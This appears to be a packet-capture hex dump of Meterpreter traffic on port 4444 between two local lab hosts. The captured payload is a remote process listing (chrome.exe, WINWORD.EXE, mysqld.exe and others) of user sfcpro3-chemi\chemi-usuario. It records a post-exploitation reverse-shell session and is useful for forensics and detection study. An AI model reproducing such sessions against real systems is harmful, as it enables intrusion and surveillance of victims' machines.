14b0  6f 78 53 56 43 2e 65 78 65 00 00 00 00 60 40 00   oxSVC.exe....`@.
14c0  08 ff 00 00 00 0c 00 02 08 fc 00 00 1b 94 00 00   ................
14d0  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
14e0  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
14f0  6f 00 00 00 00 14 00 01 08 fd 57 49 4e 57 4f 52   o.........WINWOR
1500  44 2e 45 58 45 00 00 00 00 14 00 01 08 fe 57 49   D.EXE.........WI
1510  4e 57 4f 52 44 2e 45 58 45 00 00 00 00 5e 40 00   NWORD.EXE....^@.
1520  08 ff 00 00 00 0c 00 02 08 fc 00 00 1d c0 00 00   ................
1530  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
1540  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
1550  6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65   o.........chrome
1560  2e 65 78 65 00 00 00 00 13 00 01 08 fe 63 68 72   .exe.........chr
1570  6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff   ome.exe....^@...
1580  00 00 00 0c 00 02 08 fc 00 00 10 5c 00 00 00 24   ...........\...$
1590  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
15a0  69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00   i\chemi-usuario.
15b0  00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65   ........chrome.e
15c0  78 65 00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d   xe.........chrom
15d0  65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff 00 00   e.exe....^@.....
15e0  00 0c 00 02 08 fc 00 00 1e 08 00 00 00 24 00 01   .............$..
15f0  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
1600  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
1610  00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65   ......chrome.exe
1620  00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e   .........chrome.
1630  65 78 65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c   exe....^@.......
1640  00 02 08 fc 00 00 1d 50 00 00 00 24 00 01 04 12   .......P...$....
1650  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
1660  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 13   emi-usuario.....
1670  00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00   ....chrome.exe..
1680  00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78   .......chrome.ex
1690  65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02   e....^@.........
16a0  08 fc 00 00 16 5c 00 00 00 24 00 01 04 12 73 66   .....\...$....sf
16b0  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
16c0  69 2d 75 73 75 61 72 69 6f 00 00 00 00 13 00 01   i-usuario.......
16d0  08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00   ..chrome.exe....
16e0  13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00   .....chrome.exe.
16f0  00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...^@...........
1700  00 00 1c 2c 00 00 00 24 00 01 04 12 73 66 63 70   ...,...$....sfcp
1710  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
```

```
1720  75 73 75 61 72 69 6f 00 00 00 00 13 00 01 08 fd   usuario.........
1730  63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00   chrome.exe......
1740  01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00   ...chrome.exe...
1750  00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .^@.............
1760  0d a8 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   .....$....sfcpro
1770  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
1780  75 61 72 69 6f 00 00 00 00 13 00 01 08 fd 63 68   uario.........ch
1790  72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00 01 08   rome.exe........
17a0  fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 5e   .chrome.exe....^
17b0  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 14 dc   @...............
17c0  00 00 00 24 00 01 04 12 73 66 63 70 72 6f 33 2d   ...$....sfcpro3-
17d0  63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61   chemi\chemi-usua
17e0  72 69 6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f   rio.........chro
17f0  6d 65 2e 65 78 65 00 00 00 00 13 00 01 08 fe 63   me.exe.........c
1800  68 72 6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00   hrome.exe....^@.
1810  08 ff 00 00 00 0c 00 02 08 fc 00 00 11 44 00 00   ............D...
1820  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
1830  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
1840  6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65   o.........chrome
1850  2e 65 78 65 00 00 00 00 13 00 01 08 fe 63 68 72   .exe.........chr
1860  6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff   ome.exe....^@...
1870  00 00 00 0c 00 02 08 fc 00 00 10 20 00 00 00 24   ........... ...$
1880  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
1890  69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00   i\chemi-usuario.
18a0  00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65   ........chrome.e
18b0  78 65 00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d   xe.........chrom
18c0  65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff 00 00   e.exe....^@.....
18d0  00 0c 00 02 08 fc 00 00 0e 4c 00 00 00 24 00 01   .........L...$..
18e0  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
18f0  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
1900  00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65   ......chrome.exe
1910  00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e   .........chrome.
1920  65 78 65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c   exe....^@.......
1930  00 02 08 fc 00 00 0e 54 00 00 00 24 00 01 04 12   .......T...$....
1940  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
1950  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 13   emi-usuario.....
1960  00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00   ....chrome.exe..
1970  00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78   .......chrome.ex
1980  65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02   e....^@.........
1990  08 fc 00 00 19 f8 00 00 00 24 00 01 04 12 73 66   .........$....sf
19a0  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
19b0  69 2d 75 73 75 61 72 69 6f 00 00 00 00 13 00 01   i-usuario.......
19c0  08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00   ..chrome.exe....
19d0  13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00   .....chrome.exe.
19e0  00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...^@...........
19f0  00 00 19 10 00 00 00 24 00 01 04 12 73 66 63 70   .......$....sfcp
1a00  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
1a10  75 73 75 61 72 69 6f 00 00 00 00 13 00 01 08 fd   usuario.........
1a20  63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00   chrome.exe......
1a30  01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00   ...chrome.exe...
1a40  00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .^@.............
1a50  03 d4 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   .....$....sfcpro
1a60  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
1a70  75 61 72 69 6f 00 00 00 00 13 00 01 08 fd 63 68   uario.........ch
1a80  72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00 01 08   rome.exe........
1a90  fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 48   .chrome.exe....H
1aa0  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 17 bc   @...............
1ab0  00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00 00 14   ........N/A.....
1ac0  00 01 08 fd 61 75 64 69 6f 64 67 2e 65 78 65 00   ....audiodg.exe.
1ad0  00 00 00 14 00 01 08 fe 61 75 64 69 6f 64 67 2e   ........audiodg.
1ae0  65 78 65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c   exe....^@.......
1af0  00 02 08 fc 00 00 1c 8c 00 00 00 24 00 01 04 12   ...........$....
1b00  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
1b10  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 13   emi-usuario.....
1b20  00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00   ....chrome.exe..
1b30  00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78   .......chrome.ex
1b40  65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02   e....^@.........
1b50  08 fc 00 00 1a 40 00 00 00 24 00 01 04 12 73 66   .....@...$....sf
1b60  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
1b70  69 2d 75 73 75 61 72 69 6f 00 00 00 00 13 00 01   i-usuario.......
1b80  08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00   ..chrome.exe....
1b90  13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00   .....chrome.exe.
1ba0  00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...^@...........
1bb0  00 00 0b 3c 00 00 00 24 00 01 04 12 73 66 63 70   ...<...$....sfcp
1bc0  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
1bd0  75 73 75 61 72 69 6f 00 00 00 00 13 00 01 08 fd   usuario.........
1be0  63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00   chrome.exe......
1bf0  01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00   ...chrome.exe...
1c00  00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .^@.............
1c10  1a d0 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   .....$....sfcpro
1c20  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
1c30  75 61 72 69 6f 00 00 00 00 13 00 01 08 fd 63 68   uario.........ch
1c40  72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00 01 08   rome.exe........
1c50  fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 5e   .chrome.exe....^
1c60  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 00 54   @..............T
```

```
1c70  00 00 00 24 00 01 04 12 73 66 63 70 72 6f 33 2d   ...$....sfcpro3-
1c80  63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61   chemi\chemi-usua
1c90  72 69 6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f   rio.........chro
1ca0  6d 65 2e 65 78 65 00 00 00 00 13 00 01 08 fe 63   me.exe.........c
1cb0  68 72 6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00   hrome.exe....^@.
1cc0  08 ff 00 00 00 0c 00 02 08 fc 00 00 0c 40 00 00   .............@..
1cd0  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
1ce0  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
1cf0  6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65   o.........chrome
1d00  2e 65 78 65 00 00 00 00 13 00 01 08 fe 63 68 72   .exe.........chr
1d10  6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff   ome.exe....^@...
1d20  00 00 00 0c 00 02 08 fc 00 00 0b 90 00 00 00 24   ...............$
1d30  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
1d40  69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00   i\chemi-usuario.
1d50  00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65   ........chrome.e
1d60  78 65 00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d   xe.........chrom
1d70  65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff 00 00   e.exe....^@.....
1d80  00 0c 00 02 08 fc 00 00 06 80 00 00 00 24 00 01   .............$..
1d90  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
1da0  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
1db0  00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65   ......chrome.exe
1dc0  00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e   .........chrome.
1dd0  65 78 65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c   exe....^@.......
1de0  00 02 08 fc 00 00 10 30 00 00 00 24 00 01 04 12   .......0...$....
1df0  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
1e00  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 13   emi-usuario.....
1e10  00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00   ....chrome.exe..
1e20  00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78   .......chrome.ex
1e30  65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02   e....^@.........
1e40  08 fc 00 00 06 b0 00 00 00 24 00 01 04 12 73 66   .........$....sf
1e50  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
1e60  69 2d 75 73 75 61 72 69 6f 00 00 00 00 13 00 01   i-usuario.......
1e70  08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00   ..chrome.exe....
1e80  13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00   .....chrome.exe.
1e90  00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...^@...........
1ea0  00 00 14 c8 00 00 00 24 00 01 04 12 73 66 63 70   .......$....sfcp
1eb0  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
1ec0  75 73 75 61 72 69 6f 00 00 00 00 13 00 01 08 fd   usuario.........
1ed0  63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00   chrome.exe......
1ee0  01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00   ...chrome.exe...
1ef0  00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .^@.............
1f00  1d b8 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   .....$....sfcpro
1f10  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
1f20  75 61 72 69 6f 00 00 00 00 13 00 01 08 fd 63 68   uario.........ch
1f30  72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00 01 08   rome.exe........
1f40  fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 5e   .chrome.exe....^
1f50  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 10 14   @...............
1f60  00 00 00 24 00 01 04 12 73 66 63 70 72 6f 33 2d   ...$....sfcpro3-
1f70  63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61   chemi\chemi-usua
1f80  72 69 6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f   rio.........chro
1f90  6d 65 2e 65 78 65 00 00 00 00 13 00 01 08 fe 63   me.exe.........c
1fa0  68 72 6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00   hrome.exe....^@.
1fb0  08 ff 00 00 00 0c 00 02 08 fc 00 00 18 ec 00 00   ................
1fc0  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
1fd0  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
1fe0  6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65   o.........chrome
1ff0  2e 65 78 65 00 00 00 00 13 00 01 08 fe 63 68 72   .exe.........chr
2000  6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff   ome.exe....^@...
2010  00 00 00 0c 00 02 08 fc 00 00 1c 40 00 00 00 24   ...........@...$
2020  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
2030  69 5c 63 68 65 6d                                 i\chem
```

```
    201 3794.233061    192.168.1.41          192.168.1.42          MTRPROT  3622   50768 → 4444 [PSH, ACK] Seq=43659 Ack=10143
Win=2049 Len=3568
Frame 201: 3622 bytes on wire (28976 bits), 3622 bytes captured (28976 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 43659, Ack: 10143, Len: 3568
Meterpreter protocol, Command details here or in the tree below
    Command: 0x692d7573 [Command length]: 1764586867
    Type: 0x75617269 [Command type: Response]: 75617269
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  0e 18 0d dd 40 00 80 06 5b 5f c0 a8 01 29 c0 a8   ....@...[_...)..
0020  01 2a c6 50 11 5c a3 79 47 e1 2e 7d 3a 12 50 18   .*.P.\.yG..}:.P.
0030  08 01 91 ae 00 00 69 2d 75 73 75 61 72 69 6f 00   ......i-usuario.
0040  00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65   ........chrome.e
0050  78 65 00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d   xe.........chrom
0060  65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff 00 00   e.exe....^@.....
0070  00 0c 00 02 08 fc 00 00 0c 50 00 00 00 24 00 01   .........P...$..
0080  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
0090  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
00a0  00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65   ......chrome.exe
00b0  00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e   .........chrome.
00c0  65 78 65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c   exe....^@.......
00d0  00 02 08 fc 00 00 1f c0 00 00 00 24 00 01 04 12   ...........$....
00e0  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
00f0  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 13   emi-usuario.....
0100  00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00   ....chrome.exe..
0110  00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78   .......chrome.ex
0120  65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02   e....^@.........
0130  08 fc 00 00 15 08 00 00 00 24 00 01 04 12 73 66   .........$....sf
0140  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
0150  69 2d 75 73 75 61 72 69 6f 00 00 00 00 13 00 01   i-usuario.......
0160  08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00   ..chrome.exe....
0170  13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00   .....chrome.exe.
0180  00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...^@...........
0190  00 00 17 20 00 00 00 24 00 01 04 12 73 66 63 70   ... ...$....sfcp
01a0  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
01b0  75 73 75 61 72 69 6f 00 00 00 00 13 00 01 08 fd   usuario.........
01c0  63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00   chrome.exe......
01d0  01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00   ...chrome.exe...
01e0  00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .^@.............
01f0  1f 80 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   .....$....sfcpro
0200  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
0210  75 61 72 69 6f 00 00 00 00 13 00 01 08 fd 63 68   uario.........ch
0220  72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00 01 08   rome.exe........
0230  fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 5e   .chrome.exe....^
0240  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 0c b8   @...............
0250  00 00 00 24 00 01 04 12 73 66 63 70 72 6f 33 2d   ...$....sfcpro3-
0260  63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61   chemi\chemi-usua
0270  72 69 6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f   rio.........chro
0280  6d 65 2e 65 78 65 00 00 00 00 13 00 01 08 fe 63   me.exe.........c
0290  68 72 6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00   hrome.exe....^@.
02a0  08 ff 00 00 00 0c 00 02 08 fc 00 00 1b d8 00 00   ................
02b0  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
02c0  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
02d0  6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65   o.........chrome
02e0  2e 65 78 65 00 00 00 00 13 00 01 08 fe 63 68 72   .exe.........chr
02f0  6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff   ome.exe....^@...
0300  00 00 00 0c 00 02 08 fc 00 00 11 c4 00 00 00 24   ...............$
0310  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
0320  69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00   i\chemi-usuario.
0330  00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65   ........chrome.e
0340  78 65 00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d   xe.........chrom
0350  65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff 00 00   e.exe....^@.....
0360  00 0c 00 02 08 fc 00 00 08 8c 00 00 00 24 00 01   .............$..
0370  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
0380  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
0390  00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65   ......chrome.exe
03a0  00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e   .........chrome.
03b0  65 78 65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c   exe....^@.......
03c0  00 02 08 fc 00 00 12 04 00 00 00 24 00 01 04 12   ...........$....
03d0  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
03e0  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 13   emi-usuario.....
03f0  00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00   ....chrome.exe..
0400  00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78   .......chrome.ex
0410  65 00 00 00 00 5c 40 00 08 ff 00 00 00 0c 00 02   e....\@.........
0420  08 fc 00 00 03 0c 00 00 00 24 00 01 04 12 73 66   .........$....sf
0430  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
0440  69 2d 75 73 75 61 72 69 6f 00 00 00 00 12 00 01   i-usuario.......
0450  08 fd 41 6d 70 70 73 2e 65 78 65 00 00 00 00 12   ..Ampps.exe.....
0460  00 01 08 fe 41 6d 70 70 73 2e 65 78 65 00 00 00   ....Ampps.exe...
0470  00 5c 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .\@.............
0480  1c 7c 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   .|...$....sfcpro
0490  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
04a0  75 61 72 69 6f 00 00 00 00 12 00 01 08 fd 68 74   uario.........ht
04b0  74 70 64 2e 65 78 65 00 00 00 00 12 00 01 08 fe   tpd.exe.........
```

```
04c0  68 74 74 70 64 2e 65 78 65 00 00 00 00 60 40 00   httpd.exe....`@.
04d0  08 ff 00 00 00 0c 00 02 08 fc 00 00 0d 88 00 00   ................
04e0  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
04f0  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
0500  6f 00 00 00 00 14 00 01 08 fd 63 6f 6e 68 6f 73   o.........conhos
0510  74 2e 65 78 65 00 00 00 00 14 00 01 08 fe 63 6f   t.exe.........co
0520  6e 68 6f 73 74 2e 65 78 65 00 00 00 00 5c 40 00   nhost.exe....\@.
0530  08 ff 00 00 00 0c 00 02 08 fc 00 00 0a 40 00 00   .............@..
0540  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
0550  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
0560  6f 00 00 00 00 12 00 01 08 fd 68 74 74 70 64 2e   o.........httpd.
0570  65 78 65 00 00 00 00 12 00 01 08 fe 68 74 74 70   exe.........http
0580  64 2e 65 78 65 00 00 00 00 5e 40 00 08 ff 00 00   d.exe....^@.....
0590  00 0c 00 02 08 fc 00 00 19 98 00 00 00 24 00 01   .............$..
05a0  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
05b0  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
05c0  00 13 00 01 08 fd 6d 79 73 71 6c 64 2e 65 78 65   ......mysqld.exe
05d0  00 00 00 00 13 00 01 08 fe 6d 79 73 71 6c 64 2e   .........mysqld.
05e0  65 78 65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c   exe....^@.......
05f0  00 02 08 fc 00 00 1e f4 00 00 00 24 00 01 04 12   ...........$....
0600  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
0610  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 13   emi-usuario.....
0620  00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00   ....chrome.exe..
0630  00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78   .......chrome.ex
0640  65 00 00 00 00 66 40 00 08 ff 00 00 00 0c 00 02   e....f@.........
0650  08 fc 00 00 27 7c 00 00 00 24 00 01 04 12 73 66   ....'|...$....sf
0660  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
0670  69 2d 75 73 75 61 72 69 6f 00 00 00 00 17 00 01   i-usuario.......
0680  08 fd 56 69 72 74 75 61 6c 42 6f 78 2e 65 78 65   ..VirtualBox.exe
0690  00 00 00 00 17 00 01 08 fe 56 69 72 74 75 61 6c   .........Virtual
06a0  42 6f 78 2e 65 78 65 00 00 00 00 66 40 00 08 ff   Box.exe....f@...
06b0  00 00 00 0c 00 02 08 fc 00 00 27 84 00 00 00 24   ..........'....$
06c0  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
06d0  69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00   i\chemi-usuario.
06e0  00 00 00 17 00 01 08 fd 56 69 72 74 75 61 6c 42   ........VirtualB
06f0  6f 78 2e 65 78 65 00 00 00 00 17 00 01 08 fe 56   ox.exe.........V
0700  69 72 74 75 61 6c 42 6f 78 2e 65 78 65 00 00 00   irtualBox.exe...
0710  00 66 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .f@.............
0720  27 8c 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   '....$....sfcpro
0730  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
0740  75 61 72 69 6f 00 00 00 00 17 00 01 08 fd 56 69   uario.........Vi
0750  72 74 75 61 6c 42 6f 78 2e 65 78 65 00 00 00 00   rtualBox.exe....
0760  17 00 01 08 fe 56 69 72 74 75 61 6c 42 6f 78 2e   .....VirtualBox.
